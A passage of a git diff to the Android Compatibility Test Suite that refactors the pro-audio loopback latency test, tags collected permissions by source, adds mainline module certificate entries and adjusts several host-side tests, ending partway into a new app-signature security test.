@@ -74,6 +76,7 @@
     private native int analyze(long audio_context);
     private native double getLatencyMillis(long audio_context);
     private native double getConfidence(long audio_context);
+    private native int getSampleRate(long audio_context);
 
     public double getLatencyMillis() {
         return mLatencyMillis;
@@ -83,6 +86,8 @@
         return mConfidence;
     }
 
+    public int getSampleRate() { return mSampleRate; }
+
     public synchronized void startTest() {
         if (mThread == null) {
             mEnabled = true;
@@ -111,6 +116,8 @@
     private Runnable mBackGroundTask = () -> {
         mLatencyMillis = 0.0;
         mConfidence = 0.0;
+        mSampleRate = 0;
+
         boolean analysisComplete = false;
 
         log(" Started capture test");
@@ -155,6 +162,7 @@
                     }
                     mLatencyMillis = getLatencyMillis(audioContext);
                     mConfidence = getConfidence(audioContext);
+                    mSampleRate = getSampleRate(audioContext);
                     break;
                 } else {
                     try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index 07a2d4d..c1714cc 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -17,30 +17,30 @@
 package com.android.cts.verifier.audio;
 
 import android.app.AlertDialog;
-import android.content.ComponentName;
 import android.content.DialogInterface;
-import android.content.Intent;
 import android.content.pm.PackageManager;
-import android.media.AudioDeviceCallback;
 import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
-import android.media.AudioManager;
+
 import android.os.Bundle;
 import android.os.Handler;
+
 import android.util.Log;
+
 import android.view.View;
+
 import android.widget.Button;
 import android.widget.CheckBox;
 import android.widget.TextView;
-import android.widget.Toast;
 
-import com.android.cts.verifier.PassFailButtons;
+import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
 import com.android.cts.verifier.R;  // needed to access resource in CTSVerifier project namespace.
 
-import java.util.List;
-
 public class ProAudioActivity
-        extends PassFailButtons.Activity
+        extends AudioLoopbackBaseActivity
         implements View.OnClickListener {
     private static final String TAG = ProAudioActivity.class.getName();
     private static final boolean DEBUG = false;
@@ -53,29 +53,15 @@
     private boolean mClaimsUSBPeripheralMode;  // CDD ProAudio section C-1-3
     private boolean mClaimsHDMI;               // CDD ProAudio section C-1-3
 
-    // Values
-    private static final double LATENCY_MS_LIMIT = 20.0; // CDD ProAudio section C-1-2
-    private double mRoundTripLatency;
-    private static final double CONFIDENCE_LIMIT = 0.75; // TBD
-    private double mRoundTripConfidence;
-
-    // Peripheral(s)
-    AudioManager mAudioManager;
-    private boolean mIsPeripheralAttached;  // CDD ProAudio section C-1-3
-    private AudioDeviceInfo mOutputDevInfo;
-    private AudioDeviceInfo mInputDevInfo;
-
-    private AudioDeviceInfo mHDMIDeviceInfo;
+    AudioDeviceInfo mHDMIDeviceInfo;
 
     // Widgets
-    TextView mInputDeviceTxt;
-    TextView mOutputDeviceTxt;
-    TextView mRoundTripLatencyTxt;
-    TextView mRoundTripConfidenceTxt;
     TextView mHDMISupportLbl;
 
     CheckBox mClaimsHDMICheckBox;
 
+    Button mRoundTripTestButton;
+
     // Borrowed from PassFailButtons.java
     private static final int INFO_DIALOG_ID = 1337;
     private static final String INFO_DIALOG_TITLE_ID = "infoDialogTitleId";
@@ -107,15 +93,6 @@
         return getPackageManager().hasSystemFeature(PackageManager.FEATURE_USB_ACCESSORY);
     }
 
-    private void showConnectedAudioPeripheral() {
-        mInputDeviceTxt.setText(
-                mInputDevInfo != null ? mInputDevInfo.getProductName().toString()
-                        : "");
-        mOutputDeviceTxt.setText(
-                mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString()
-                        : "");
-    }
-
     // HDMI Stuff
     private boolean isHDMIValid() {
         if (mHDMIDeviceInfo == null) {
@@ -167,106 +144,36 @@
         return true;
     }
 
+    protected void handleDeviceConnection(AudioDeviceInfo devInfo) {
+        if (devInfo.isSink() && devInfo.getType() == AudioDeviceInfo.TYPE_HDMI) {
+            mHDMIDeviceInfo = devInfo;
+        }
+
+        if (mHDMIDeviceInfo != null) {
+            mClaimsHDMICheckBox.setChecked(true);
+            mHDMISupportLbl.setText(getResources().getString(
+                    isHDMIValid() ? R.string.pass_button_text : R.string.fail_button_text));
+        }
+        mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA));
+
+        calculatePass();
+    }
+
     private void calculatePass() {
         boolean hasPassed = !mClaimsProAudio ||
                 (mClaimsLowLatencyAudio && mClaimsMIDI &&
                 mClaimsUSBHostMode && mClaimsUSBPeripheralMode &&
                 (!mClaimsHDMI || isHDMIValid()) &&
                 mOutputDevInfo != null && mInputDevInfo != null &&
-                mRoundTripLatency != 0.0 && mRoundTripLatency <= LATENCY_MS_LIMIT &&
-                mRoundTripConfidence >= CONFIDENCE_LIMIT);
+                mConfidence >= CONFIDENCE_THRESHOLD && mLatencyMillis <= PROAUDIO_LATENCY_MS_LIMIT);
         getPassButton().setEnabled(hasPassed);
     }
 
-    //
-    // Loopback App Stuff
-    //
-    private final static String LOOPBACK_PACKAGE_NAME = "org.drrickorang.loopback";
-
-    // Test Intents
-    // From Loopback App LoobackActivity.java
-    private static final String INTENT_TEST_TYPE = "TestType";
-
-    // from Loopback App Constant.java
-    public static final int LOOPBACK_PLUG_AUDIO_THREAD_TEST_TYPE_LATENCY = 222;
-
-    public boolean isLoopbackAppInstalled() {
-        try {
-            getPackageManager().getPackageInfo(
-                    LOOPBACK_PACKAGE_NAME, PackageManager.GET_ACTIVITIES);
-            return true;
-        } catch (PackageManager.NameNotFoundException e) {
-            // This indicates that the specified app (Loopback in this case) is NOT installed
-            // fall through...
-        }
-        return false;
-    }
-
-    // arbitrary request code
-    private static final int LATENCY_RESULTS_REQUEST_CODE = 1;
-    private static final String KEY_CTSINVOCATION = "CTS-Test";
-    private static final String KEY_ROUND_TRIP_TIME = "RoundTripTime";
-    private static final String KEY_ROUND_TRIP_CONFIDENCE = "Confidence";
-
-    // We may need to iterate and average round-trip measurements
-    // So add this plumbing though NOT USED.
-    private static final String KEY_NUMITERATIONS = "NumIterations";
-    private static final int NUM_ROUNDTRIPITERATIONS = 3;
-
-    private void runRoundTripTest() {
-        if (!isLoopbackAppInstalled()) {
-            Toast.makeText(this, "Loopback App not installed", Toast.LENGTH_SHORT).show();
-            return;
-        }
-
-        if (!mIsPeripheralAttached) {
-            Toast.makeText(this, "Please connect a USB audio peripheral with loopback cables" +
-                    " before running the latency test.",
-                    Toast.LENGTH_SHORT).show();
-            return;
-        }
-
-        mRoundTripLatency = 0.0;
-        mRoundTripConfidence = 0.0;
-        Intent intent = new Intent(Intent.CATEGORY_LAUNCHER);
-        intent.setComponent(
-            new ComponentName(LOOPBACK_PACKAGE_NAME,LOOPBACK_PACKAGE_NAME + ".LoopbackActivity"));
-
-        intent.putExtra(KEY_CTSINVOCATION, "CTS-Verifier Invocation");
-        intent.putExtra(INTENT_TEST_TYPE, LOOPBACK_PLUG_AUDIO_THREAD_TEST_TYPE_LATENCY);
-        intent.putExtra(KEY_NUMITERATIONS, NUM_ROUNDTRIPITERATIONS);
-
-        startActivityForResult(intent, LATENCY_RESULTS_REQUEST_CODE);
-    }
-
-    @Override
-    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
-        // Check which request we're responding to
-        if (resultCode == RESULT_OK) {
-            Toast.makeText(this, "Round Trip Test Complete.", Toast.LENGTH_SHORT).show();
-            if (requestCode == LATENCY_RESULTS_REQUEST_CODE) {
-                Bundle extras = data != null ? data.getExtras() : null;
-                if (extras != null) {
-                    mRoundTripLatency =  extras.getDouble(KEY_ROUND_TRIP_TIME);
-                    mRoundTripLatencyTxt.setText(String.format("%.2f ms", mRoundTripLatency));
-                    mRoundTripConfidence = extras.getDouble(KEY_ROUND_TRIP_CONFIDENCE);
-                    mRoundTripConfidenceTxt.setText(String.format("%.2f", mRoundTripConfidence));
-                }
-            }
-            calculatePass();
-        } else {
-            Toast.makeText(this, "Round Trip Test Canceled.", Toast.LENGTH_SHORT).show();
-        }
-    }
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
         setContentView(R.layout.pro_audio);
 
-        mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
-        mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
+        super.onCreate(savedInstanceState);
 
         setPassFailButtonClickListeners();
         setInfoResources(R.string.proaudio_test, R.string.proaudio_info, -1);
@@ -294,14 +201,8 @@
         ((TextView)findViewById(
                 R.id.proAudioMidiHasUSBPeripheralLbl)).setText("" + mClaimsUSBPeripheralMode);
 
-        // Connected Device
-        mInputDeviceTxt = ((TextView)findViewById(R.id.proAudioInputLbl));
-        mOutputDeviceTxt = ((TextView)findViewById(R.id.proAudioOutputLbl));
-
-        // Round-trip Latency
-        mRoundTripLatencyTxt = (TextView)findViewById(R.id.proAudioRoundTripLbl);
-        mRoundTripConfidenceTxt = (TextView)findViewById(R.id.proAudioConfidenceLbl);
-        ((Button)findViewById(R.id.proAudio_runRoundtripBtn)).setOnClickListener(this);
+        mRoundTripTestButton = (Button)findViewById(R.id.proAudio_runRoundtripBtn);
+        mRoundTripTestButton.setOnClickListener(this);
 
         // HDMI
         mHDMISupportLbl = (TextView)findViewById(R.id.proAudioHDMISupportLbl);
@@ -311,68 +212,72 @@
         calculatePass();
     }
 
-    private void scanPeripheralList(AudioDeviceInfo[] devices) {
-        // CDD Section C-1-3: USB port, host-mode support
+    protected void startAudioTest() {
+        mRoundTripTestButton.setEnabled(false);
+        super.startAudioTest(mMessageHandler);
+    }
 
-        // Can't just use the first record because then we will only get
-        // Source OR sink, not both even on devices that are both.
-        mOutputDevInfo = null;
-        mInputDevInfo = null;
-
-        // Any valid peripherals
-        // Do we leave in the Headset test to support a USB-Dongle?
-        for (AudioDeviceInfo devInfo : devices) {
-            if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||     // USB Peripheral
-                devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET ||    // USB dongle+LBPlug
-                devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET || // Loopback Plug?
-                devInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) { // Aux-cable loopback?
-                if (devInfo.isSink()) {
-                    mOutputDevInfo = devInfo;
-                }
-                if (devInfo.isSource()) {
-                    mInputDevInfo = devInfo;
-                }
-            } else if (devInfo.isSink() && devInfo.getType() == AudioDeviceInfo.TYPE_HDMI) {
-                mHDMIDeviceInfo = devInfo;
-            }
-        }
-
-        mIsPeripheralAttached = mOutputDevInfo != null || mInputDevInfo != null;
-        showConnectedAudioPeripheral();
-
-        if (mHDMIDeviceInfo != null) {
-            mClaimsHDMICheckBox.setChecked(true);
-            mHDMISupportLbl.setText(getResources().getString(
-                    isHDMIValid() ? R.string.pass_button_text : R.string.fail_button_text));
-        }
-        mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA));
+    protected void handleTestCompletion() {
+        super.handleTestCompletion();
 
         calculatePass();
+
+        recordTestResults();
+
+        showWait(false);
+        mRoundTripTestButton.setEnabled(true);
     }
 
-    private class ConnectListener extends AudioDeviceCallback {
-        /*package*/ ConnectListener() {}
+    /**
+     * Store test results in log
+     */
+    protected void recordTestResults() {
+        super.recordTestResults();
 
-        //
-        // AudioDevicesManager.OnDeviceConnectionListener
-        //
-        @Override
-        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
-            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
-        }
+        ReportLog reportLog = getReportLog();
+        reportLog.addValue(
+                "Claims Pro Audio",
+                mClaimsProAudio,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
 
-        @Override
-        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
-            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
-        }
+        reportLog.addValue(
+                "Claims Low-Latency Audio",
+                mClaimsLowLatencyAudio,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                "Claims MIDI",
+                mClaimsMIDI,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                "Claims USB Host Mode",
+                mClaimsUSBHostMode,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                "Claims USB Peripheral Mode",
+                mClaimsUSBPeripheralMode,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                "Claims HDMI",
+                mClaimsHDMI,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
     }
 
-    @Override
+        @Override
     public void onClick(View view) {
         switch (view.getId()) {
         case R.id.proAudio_runRoundtripBtn:
-            runRoundTripTest();
-            break;
+            startAudioTest();
+           break;
 
         case R.id.proAudioHasHDMICheckBox:
             if (mClaimsHDMICheckBox.isChecked()) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
index 62892d6..1a829f2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
@@ -127,6 +127,7 @@
                 mNetworkSuggestionBuilder.setWpa3Passphrase(mPsk);
             }
         }
+        mNetworkSuggestionBuilder.setIsMetered(false);
         return mNetworkSuggestionBuilder.build();
     }
 
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index 10364af..735b805 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -41,6 +41,9 @@
 @TargetApi(Build.VERSION_CODES.N)
 public class PackageDeviceInfo extends DeviceInfo {
 
+    private static final String PLATFORM = "android";
+    private static final String PLATFORM_PERMISSION_PREFIX = "android.";
+
     private static final String PACKAGE = "package";
     private static final String NAME = "name";
     private static final String VERSION_NAME = "version_name";
@@ -56,6 +59,11 @@
     private static final String PERMISSION_PROTECTION = "protection_level";
     private static final String PERMISSION_PROTECTION_FLAGS = "protection_level_flags";
 
+    private static final String PERMISSION_TYPE = "type";
+    private static final int PERMISSION_TYPE_SYSTEM = 1;
+    private static final int PERMISSION_TYPE_OEM = 2;
+    private static final int PERMISSION_TYPE_CUSTOM = 3;
+
     private static final String HAS_SYSTEM_UID = "has_system_uid";
 
     private static final String SHARES_INSTALL_PERMISSION = "shares_install_packages_permission";
@@ -86,13 +94,20 @@
 
         final ComponentName defaultAccessibilityComponent = getDefaultAccessibilityComponent();
 
+        // Platform permission data used to tag permissions information with sourcing information
+        final PackageInfo platformInfo = pm.getPackageInfo(PLATFORM , PackageManager.GET_PERMISSIONS);
+        final Set<String> platformPermissions = new HashSet<String>();
+        for (PermissionInfo permission : platformInfo.permissions) {
+          platformPermissions.add(permission.name);
+        }
+
         store.startArray(PACKAGE);
         for (PackageInfo pkg : allPackages) {
             store.startGroup();
             store.addResult(NAME, pkg.packageName);
             store.addResult(VERSION_NAME, pkg.versionName);
 
-            collectPermissions(store, pm, pkg);
+            collectPermissions(store, pm, platformPermissions, pkg);
             collectionApplicationInfo(store, pm, pkg);
 
             store.addResult(HAS_DEFAULT_NOTIFICATION_ACCESS,
@@ -118,6 +133,7 @@
 
     private static void collectPermissions(DeviceInfoStore store,
                                            PackageManager pm,
+                                           Set<String> systemPermissions,
                                            PackageInfo pkg) throws IOException
     {
         store.startArray(REQUESTED_PERMISSIONS);
@@ -129,6 +145,21 @@
                     store.startGroup();
                     store.addResult(PERMISSION_NAME, permission);
                     writePermissionsDetails(pi, store);
+
+                    if (permission == null) continue;
+
+                    final boolean isPlatformPermission = systemPermissions.contains(permission);
+                    if (isPlatformPermission) {
+                      final boolean isAndroidPermission = permission.startsWith(PLATFORM_PERMISSION_PREFIX);
+                      if (isAndroidPermission) {
+                        store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM);
+                      } else {
+                        store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM);
+                      }
+                    } else {
+                      store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM);
+                    }
+
                     store.endGroup();
                 } catch (PackageManager.NameNotFoundException e) {
                     // ignore unrecognized permission and continue
diff --git a/common/device-side/test-app/AndroidManifest.xml b/common/device-side/test-app/AndroidManifest.xml
index 3aa5dc5..70b3d08 100755
--- a/common/device-side/test-app/AndroidManifest.xml
+++ b/common/device-side/test-app/AndroidManifest.xml
@@ -20,6 +20,7 @@
 
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
 
     <application>
         <uses-library android:name="android.test.runner" />
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
index 6e48bcc..fb18b06 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
@@ -19,6 +19,9 @@
  * Enum containing metadata for mainline modules.
  */
 public enum MainlineModule {
+
+    // Added in Q
+
     // Security
     MEDIA_SOFTWARE_CODEC("com.google.android.media.swcodec",
             true, ModuleType.APEX,
@@ -50,10 +53,6 @@
             "9A:4B:85:34:44:86:EC:F5:1F:F8:05:EB:9D:23:17:97:79:BE:B7:EC:81:91:93:5A:CA:67:F0"
                     + ":F4:09:02:52:97"),
     // Consistency
-    TZDATA2("com.google.android.tzdata2",
-            true, ModuleType.APEX,
-            "48:F3:A2:98:76:1B:6D:46:75:7C:EE:62:43:66:6A:25:B9:15:B9:42:18:A6:C2:82:72:99:BE"
-                    + ":DA:C9:92:AB:E7"),
     NETWORK_STACK("com.google.android.networkstack",
             true, ModuleType.APK,
             "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
@@ -70,6 +69,61 @@
             true, ModuleType.APK,
             "BF:62:23:1E:28:F0:85:42:75:5C:F3:3C:9D:D8:3C:5D:1D:0F:A3:20:64:50:EF:BC:4C:3F:F3"
                     + ":D5:FD:A0:33:0F"),
+
+    // Added in R
+
+    ADBD("com.google.android.adbd",
+            true, ModuleType.APEX,
+            "87:3D:4E:43:58:25:1A:25:1A:2D:9C:18:E1:55:09:45:21:88:A8:1E:FE:9A:83:9D:43:0D:E8"
+                    + ":D8:7E:C2:49:4C"),
+    NEURAL_NETWORKS("com.google.android.neuralnetworks",
+            true, ModuleType.APEX,
+            "6F:AB:D5:72:9A:90:02:6B:74:E4:87:79:8F:DF:10:BB:E3:6C:9E:6C:B7:A6:59:04:3C:D8:15"
+                    + ":61:6C:9E:60:50"),
+    CELL_BROADCAST("com.google.android.cellbroadcast",
+            true, ModuleType.APEX,
+            "A8:2C:84:7A:A3:9D:DA:19:A5:6C:9E:D3:56:50:1A:76:4F:BD:5D:C9:60:98:66:16:E3:1D:48"
+                    + ":EE:27:08:19:70"),
+    EXT_SERVICES("com.google.android.extservices",
+            true, ModuleType.APEX,
+            "10:89:F2:7C:85:6A:83:D4:02:6B:6A:49:97:15:4C:A1:70:9A:F6:93:27:C8:EF:9A:2D:1D:56"
+                    + ":AB:69:DE:07:0B"),
+    IPSEC("com.google.android.ipsec",
+            true, ModuleType.APEX,
+            "64:3D:3E:A5:B7:BF:22:E5:94:42:29:77:7C:4B:FF:C6:C8:44:14:64:4D:E0:4B:E4:90:37:57"
+                    + ":DE:83:CF:04:8B"),
+    MEDIA_PROVIDER("com.google.android.mediaprovider",
+            true, ModuleType.APEX,
+            "1A:61:93:09:6D:DC:81:58:72:45:EF:2C:07:33:73:6E:8E:FF:9D:E9:0E:51:27:4B:F8:23:AC"
+                    + ":F0:F7:49:00:A0"),
+    PERMISSION_CONTROLLER_APEX("com.google.android.permission",
+            true, ModuleType.APEX,
+            "69:AC:92:BF:BA:D5:85:4C:61:8E:AB:AE:85:7F:AB:0B:1A:65:19:44:E9:19:EA:3C:86:DB:D4"
+                    + ":07:04:1E:22:C1"),
+    SDK_EXTENSIONS("com.google.android.sdkext",
+            true, ModuleType.APEX,
+            "99:90:29:2B:22:11:D2:78:17:BF:5B:10:98:84:8F:68:44:53:37:16:2B:47:FF:D1:A0:8E:10"
+                    + ":CE:65:B1:CC:73"),
+    STATSD("com.google.android.os.statsd",
+            true, ModuleType.APEX,
+            "DA:FE:D6:20:A7:0C:98:05:A9:A2:22:04:55:6B:0E:94:E8:E3:4D:ED:F4:16:EC:58:92:C6:48"
+                    + ":86:53:39:B4:7B"),
+    TELEMETRY_TVP("com.google.mainline.telemetry",
+            true, ModuleType.APK,
+            "9D:AC:CC:AE:4F:49:5A:E6:DB:C5:8A:0E:C2:33:C6:E5:2D:31:14:33:AC:57:3C:4D:A1:C7:39"
+                    + ":DF:64:03:51:5D"),
+    TETHERING("com.google.android.tethering",
+            true, ModuleType.APEX,
+            "E5:3F:52:F4:14:15:0C:05:BA:E0:E4:CE:E2:07:3D:D0:0F:E6:44:66:1D:5F:9A:0F:BE:49:4A"
+                    + ":DC:07:F0:59:93"),
+    TZDATA2("com.google.android.tzdata2",
+            true, ModuleType.APEX,
+            "48:F3:A2:98:76:1B:6D:46:75:7C:EE:62:43:66:6A:25:B9:15:B9:42:18:A6:C2:82:72:99:BE"
+                    + ":DA:C9:92:AB:E7"),
+    WIFI("com.google.android.wifi",
+            false, ModuleType.APEX,
+            "B7:A3:DB:7A:86:6D:18:51:3F:97:6C:63:20:BC:0F:E6:E4:01:BA:2F:26:96:B1:C3:94:2A:F0"
+                    + ":FE:29:31:98:B1"),
     ;
 
     public final String packageName;
diff --git a/hostsidetests/adb/AndroidTest.xml b/hostsidetests/adb/AndroidTest.xml
index 46fcc98..3c429e7 100755
--- a/hostsidetests/adb/AndroidTest.xml
+++ b/hostsidetests/adb/AndroidTest.xml
@@ -1,5 +1,10 @@
 <?xml version="1.0" encoding="utf-8"?>
 <configuration description="Config for the CTS adb host tests">
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MinApiLevelModuleController">
+        <option name="min-api-level" value="30" />
+        <option name="api-level-prop" value="ro.product.first_api_level" />
+    </object>
+
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="bionic" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
diff --git a/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java b/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java
index 11a1ae0..d5301d4 100644
--- a/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java
+++ b/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java
@@ -59,8 +59,17 @@
         File check_ms_os_desc = copyResourceToTempFile("/check_ms_os_desc");
         check_ms_os_desc.setExecutable(true);
 
+        String serial = getDevice().getSerialNumber();
+        if (serial.startsWith("emulator-")) {
+            return;
+        }
+
+        if (getDevice().isAdbTcp()) { // adb over WiFi, no point checking it
+            return;
+        }
+
         ProcessBuilder pb = new ProcessBuilder(check_ms_os_desc.getAbsolutePath());
-        pb.environment().put("ANDROID_SERIAL", getDevice().getSerialNumber());
+        pb.environment().put("ANDROID_SERIAL", serial);
         pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
         pb.redirectErrorStream(true);
         Process p = pb.start();
diff --git a/hostsidetests/angle/Android.bp b/hostsidetests/angle/Android.bp
index 3125610..dac193f 100644
--- a/hostsidetests/angle/Android.bp
+++ b/hostsidetests/angle/Android.bp
@@ -22,7 +22,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts"
     ],
     libs: [
         "cts-tradefed",
diff --git a/hostsidetests/angle/app/common/Android.bp b/hostsidetests/angle/app/common/Android.bp
index 508ce2d..fe33a37 100644
--- a/hostsidetests/angle/app/common/Android.bp
+++ b/hostsidetests/angle/app/common/Android.bp
@@ -20,6 +20,5 @@
     test_suites: [
         "gts",
         "ats",
-        "mts"
     ],
 }
diff --git a/hostsidetests/angle/app/driverTest/Android.bp b/hostsidetests/angle/app/driverTest/Android.bp
index 1bfc779..9b2adb2 100644
--- a/hostsidetests/angle/app/driverTest/Android.bp
+++ b/hostsidetests/angle/app/driverTest/Android.bp
@@ -22,7 +22,6 @@
     test_suites: [
         "cts",
         "vts10",
-        "mts"
     ],
     compile_multilib: "both",
     static_libs: [
diff --git a/hostsidetests/angle/app/driverTestSecondary/Android.bp b/hostsidetests/angle/app/driverTestSecondary/Android.bp
index 22f3c2f..fad514e8 100644
--- a/hostsidetests/angle/app/driverTestSecondary/Android.bp
+++ b/hostsidetests/angle/app/driverTestSecondary/Android.bp
@@ -24,7 +24,6 @@
     test_suites: [
         "cts",
         "vts10",
-        "mts"
     ],
     compile_multilib: "both",
     static_libs: [
diff --git a/hostsidetests/apex/src/android/apex/cts/ApexTest.java b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
index 081da9b..c2ca8bc 100644
--- a/hostsidetests/apex/src/android/apex/cts/ApexTest.java
+++ b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
@@ -41,7 +41,9 @@
       || systemProduct.equals("aosp_arm_ab") // _ab for Legacy GSI
       || systemProduct.equals("aosp_arm64_ab")
       || systemProduct.equals("aosp_x86_ab")
-      || systemProduct.equals("aosp_x86_64_ab");
+      || systemProduct.equals("aosp_x86_64_ab")
+      || systemProduct.equals("aosp_tv_arm")
+      || systemProduct.equals("aosp_tv_arm64");
   }
 
   /**
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
index 07a51af1d..d637ff0 100644
--- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -226,7 +226,8 @@
         StatsdConfigProto.StatsdConfig.Builder configBuilder =
                 StatsdConfigProto.StatsdConfig.newBuilder()
                         .setId(configId)
-                        .addAllowedLogSource(pkgName);
+                        .addAllowedLogSource(pkgName)
+                        .addWhitelistedAtomIds(Atom.APP_COMPATIBILITY_CHANGE_REPORTED_FIELD_NUMBER);
         StatsdConfigProto.SimpleAtomMatcher.Builder simpleAtomMatcherBuilder =
                 StatsdConfigProto.SimpleAtomMatcher
                         .newBuilder().setAtomId(
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
index 57a73bc..08581f6 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
@@ -22,9 +22,11 @@
 
 import static org.hamcrest.CoreMatchers.is;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
@@ -187,6 +189,8 @@
 
     @Test
     public void testDirectBootModeWorks() throws Exception {
+        assumeTrue("Screen lock is not supported so skip direct boot test",
+                hasDeviceFeature("android.software.secure_lock_screen"));
         // Install AppA and verify no data stored
         new InstallMultiple().addFile(APP_DIRECT_BOOT_A_APK).run();
         new InstallMultiple().addFile(APPB_APK).run();
@@ -218,7 +222,10 @@
             // Follow DirectBootHostTest, reboot system into known state with keys ejected
             if (isFbeModeEmulated()) {
                 final String res = getDevice().executeShellCommand("sm set-emulate-fbe true");
-                assertThat(res).contains("Emulation not supported");
+                if (res != null && res.contains("Emulation not supported")) {
+                    LogUtil.CLog.i("FBE emulation is not supported, skipping test");
+                    return;
+                }
                 getDevice().waitForDeviceNotAvailable(30000);
                 getDevice().waitForDeviceOnline(120000);
             } else {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 0f43a54..3bea273 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -26,12 +26,16 @@
 import android.platform.test.annotations.SecurityTest;
 
 import com.android.ddmlib.Log;
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.HashMap;
+import java.util.Map;
+
 /**
  * Set of tests that verify various security checks involving multiple apps are
  * properly enforced.
@@ -251,6 +255,51 @@
     }
 
     /**
+     * Test that an app cannot set the installer package for an app with a different
+     * signature.
+     */
+    @Test
+    @AppModeFull(reason = "Only full apps can hold INSTALL_PACKAGES")
+    @SecurityTest
+    public void testCrossPackageDiffCertSetInstaller() throws Exception {
+        Log.i(LOG_TAG, "installing app that attempts to use permission of another app");
+        try {
+            // cleanup test app that might be installed from previous partial test run
